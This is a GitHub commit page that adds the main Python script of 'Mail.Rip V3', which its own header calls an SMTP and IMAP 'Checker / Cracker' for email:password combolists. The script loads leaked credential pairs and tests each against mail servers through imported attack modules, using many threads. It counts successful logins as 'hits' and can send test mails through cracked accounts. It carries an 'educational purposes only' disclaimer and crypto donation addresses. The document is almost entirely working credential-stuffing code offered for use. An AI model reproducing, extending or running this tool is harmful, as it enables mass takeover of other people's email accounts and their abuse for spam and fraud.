Skip to content

Commit 6706563

Browse files
authored
BETA#1 Release (NO-GUI-Version)
First BETA-release of the NO-GUI-version. Full working SMTP- and IMAP-checker for testing purposes. Especially for testing the checker functions for any major bugs. If no big bigs are discovered, the GUI-version will follow soon.
1 parent 67d9340 commit 6706563

17 files changed

+1514
-1001
lines changed

MailRipV3_NOGUI.py

Lines changed: 299 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,299 @@
1+
#!/usr/local/opt/[email protected]/bin/python3
2+
# -*- coding: utf-8 -*-
3+
4+
__author__ = 'DrPython3'
5+
__date__ = '2021-12-04'
6+
__version__ = 'BETA(1)'
7+
__contact__ = 'https://github.com/DrPython3'
8+
9+
'''
10+
__ __ _ _ ___ _ ____
11+
| \/ |__ _(_) | | _ (_)_ __ __ _|__ /
12+
| |\/| / _` | | |_| / | '_ \ \ V /|_ \\
13+
|_| |_\__,_|_|_(_)_|_\_| .__/ \_/|___/
14+
|_|
15+
----------------------------------------
16+
17+
*** LEGAL NOTICES ***
18+
19+
Mail.Rip V3 has been created for educational purposes only.
20+
It shall not be used for any kind of illegal activity nor
21+
law enforcement at any time. This applies to all cases of
22+
usage, no matter whether the code as a whole or just parts
23+
of it are being used.
24+
25+
*** SHORT INFO ***
26+
27+
SMTP and IMAP Checker / Cracker for Email:Pass Combolists.
28+
Further Information and Help at:
29+
30+
https://github.com/DrPython3/MailRipV3
31+
'''
32+
33+
# [IMPORTS]
34+
# ---------
35+
36+
import sys
37+
import threading
38+
from queue import Queue
39+
from time import sleep
40+
from inc_attackimap import imapchecker
41+
from inc_attacksmtp import smtpchecker
42+
from inc_comboloader import comboloader
43+
from inc_etc import clean
44+
from inc_etc import get_combofile_nogui
45+
46+
# [VARIOUS]
47+
# ---------
48+
49+
main_logo = '''
50+
__ __ _ _ ___ _ ____
51+
| \/ |__ _(_) | | _ (_)_ __ __ _|__ /
52+
| |\/| / _` | | |_| / | '_ \ \ V /|_ \\
53+
|_| |_\__,_|_|_(_)_|_\_| .__/ \_/|___/
54+
|_|
55+
56+
**********************
57+
*** NO GUI VERSION ***
58+
**********************
59+
60+
Tip or donate for faster development:
61+
62+
(BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU
63+
(LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK
64+
65+
'''
66+
67+
# global variables and stuff:
68+
69+
targets_total = int(0)
70+
targets_left = int(0)
71+
hits = int(0)
72+
fails = int(0)
73+
74+
checker_queue = Queue()
75+
76+
# [FUNCTIONS]
77+
# -----------
78+
79+
def checker_thread(checker_type, default_timeout, default_email):
80+
'''
81+
Function for a single thread which performs the main checking process.
82+
83+
:param str checker_type: smtp or imap
84+
:param float default_timeout: timeout for server connection
85+
:param str default_email: user's email for test messages (SMTP only)
86+
:return: None
87+
'''
88+
# set variables:
89+
global targets_left
90+
global hits
91+
global fails
92+
# start thread for chosen checker type:
93+
while True:
94+
target = str(checker_queue.get())
95+
result = False
96+
try:
97+
if checker_type == 'smtp':
98+
result = smtpchecker(
99+
float(default_timeout),
100+
str(default_email),
101+
str(f'{target}')
102+
)
103+
elif checker_type == 'imap':
104+
result = imapchecker(
105+
float(default_timeout),
106+
str(f'{target}')
107+
)
108+
except:
109+
pass
110+
# update stats:
111+
if result == True:
112+
hits += 1
113+
else:
114+
fails += 1
115+
targets_left -= 1
116+
checker_queue.task_done()
117+
# cooldown for checker thread:
118+
sleep(1.0)
119+
return None
120+
121+
def checker(checker_type, default_threads, default_timeout, default_email, combofile):
122+
'''
123+
Function to control the import of combos, to start threads etc.
124+
125+
:param str checker_type: smtp or imap
126+
:param int default_threads: amount of threads to use
127+
:param float default_timeout: timeout for server-connections
128+
:param str default_email: users's email for test-messages (SMTP only)
129+
:param str combofile: textfile with combos to import
130+
:return: True (no errors occurred), False (errors occurred)
131+
'''
132+
# set variables:
133+
global targets_total
134+
global targets_left
135+
combos_available = False
136+
try:
137+
# load combos:
138+
print('Step#1: Loading combos from file ...')
139+
try:
140+
combos = comboloader(combofile)
141+
except:
142+
combos = []
143+
targets_total = len(combos)
144+
targets_left = targets_total
145+
if targets_total > 0:
146+
combos_available = True
147+
print(f'Done! Amount of combos loaded: {str(targets_total)}\n\n')
148+
else:
149+
print('Done! No combos loaded.\n\n')
150+
# start checker threads:
151+
if combos_available == True:
152+
print(f'Step#2: Starting threads for {checker_type} checker ...')
153+
for _ in range(default_threads):
154+
single_thread = threading.Thread(
155+
target=checker_thread,
156+
args=(str(f'{checker_type}'),default_timeout,default_email),
157+
daemon=True
158+
)
159+
single_thread.start()
160+
# fill queue with combos:
161+
for target in combos:
162+
checker_queue.put(target)
163+
print('Done! Checker started and running - see stats in window title.\n\n')
164+
# checker stats in window title:
165+
while targets_left >= 0:
166+
try:
167+
sleep(1.0)
168+
titlestats = str(f'LEFT: {str(targets_left)} # HITS: {str(hits)} # FAILS: {str(fails)}')
169+
sys.stdout.write('\33]0;' + titlestats + '\a')
170+
sys.stdout.flush()
171+
except:
172+
pass
173+
# finish checker:
174+
print('Step#3: Finishing checking ...')
175+
checker_queue.join()
176+
print('Done!\n\n')
177+
sleep(3.0)
178+
else:
179+
print('Press [ENTER] and try again, please!')
180+
input()
181+
clean()
182+
return True
183+
except:
184+
clean()
185+
return False
186+
187+
def main():
188+
'''
189+
Function for main menu and checker setup.
190+
191+
:return: None
192+
'''
193+
# set default values for needed variables:
194+
default_timeout = float(3.0)
195+
default_threads = int(1)
196+
default_email = str('[email protected]')
197+
combofile = str('combos.txt')
198+
checker_type = str('smtp')
199+
clean()
200+
print(main_logo + '\n\n')
201+
# get values for variables from user input:
202+
try:
203+
# user's email address for testmailer (SMTP only):
204+
default_email = str(
205+
input('Your Email [e.g. [email protected]]: ')
206+
)
207+
# type of checking (SMTP / IMAP):
208+
checker_choice = int(
209+
input('Checker Type [1 = smtp or 2 = imap]: ')
210+
)
211+
if checker_choice == 2:
212+
checker_type = 'imap'
213+
# threads to use:
214+
default_threads = int(
215+
input('Checker Threads [e.g. 1]: ')
216+
)
217+
# default timeout for connections:
218+
default_timeout = float(
219+
input('Checker Timeout in Seconds [e.g. 3]: ')
220+
)
221+
# start open-file-dialog using tkinter:
222+
combofile = get_combofile_nogui()
223+
# ask for starting the checker:
224+
start_now = str(
225+
input('\n\nStart Checker = [y] or Exit = [n]: ')
226+
)
227+
# start checker for option "yes":
228+
if start_now in ['y', 'Y', 'yes', 'Yes']:
229+
clean()
230+
print(
231+
'\n\n'
232+
+ f'Mail.Rip V3 - running ({checker_type}) checker:\n'
233+
+ 38*'-' + '\n\n'
234+
+ f'user email: {default_email}\n'
235+
+ f'threads: {str(default_threads)}\n'
236+
+ f'timeout: {str(default_timeout)}\n\n'
237+
+ 38*'-' + '\n'
238+
)
239+
print(
240+
'Tip or donate for faster development:\n\n'
241+
+ ' (BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU\n'
242+
+ ' (LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK\n\n'
243+
)
244+
print('Please be patient and wait while all combos are being checked ...\n\n')
245+
checker_result = checker(
246+
str(checker_type),
247+
int(default_threads),
248+
float(default_timeout),
249+
str(default_email),
250+
str(combofile)
251+
)
252+
# show summary and quit:
253+
if checker_result == True:
254+
print(
255+
'\n\n'
256+
+ f'Mail.Rip V3 - ({checker_type}) checker results:\n'
257+
+ 38*'-' + '\n\n'
258+
+ f'combos: {str(targets_total)}\n'
259+
+ f'hits: {str(hits)}\n'
260+
+ f'fails: {str(fails)}\n\n'
261+
+ 38*'-' + '\n'
262+
)
263+
print(
264+
'Tip or donate for faster development:\n\n'
265+
+ ' (BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU\n'
266+
+ ' (LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK\n\n\n'
267+
)
268+
print('Press [ENTER] to exit ...')
269+
input()
270+
else:
271+
clean()
272+
print(
273+
'\n\n\n'
274+
+ '*** SORRY ***\n'
275+
+ 'Errors occurred while checking your combos! Running the checker failed.\n'
276+
+ 'Press [ENTER] to exit ...'
277+
)
278+
input()
279+
clean()
280+
# exit for option "no":
281+
elif start_now in ['n', 'N', 'no', 'No']:
282+
clean()
283+
else:
284+
clean()
285+
print('\n\n*** SORRY ***\nSomething went wrong. Press [ENTER] and try again, please!\n')
286+
input()
287+
except:
288+
clean()
289+
print('\n\n*** SORRY ***\nAn error occurred. Press [ENTER] and try again, please!\n')
290+
input()
291+
sys.exit()
292+
293+
# [MAIN]
294+
# ------
295+
296+
while True:
297+
main()
298+
299+
# DrPython3 (C) 2021 @ GitHub.com

0 commit comments

Comments
 (0)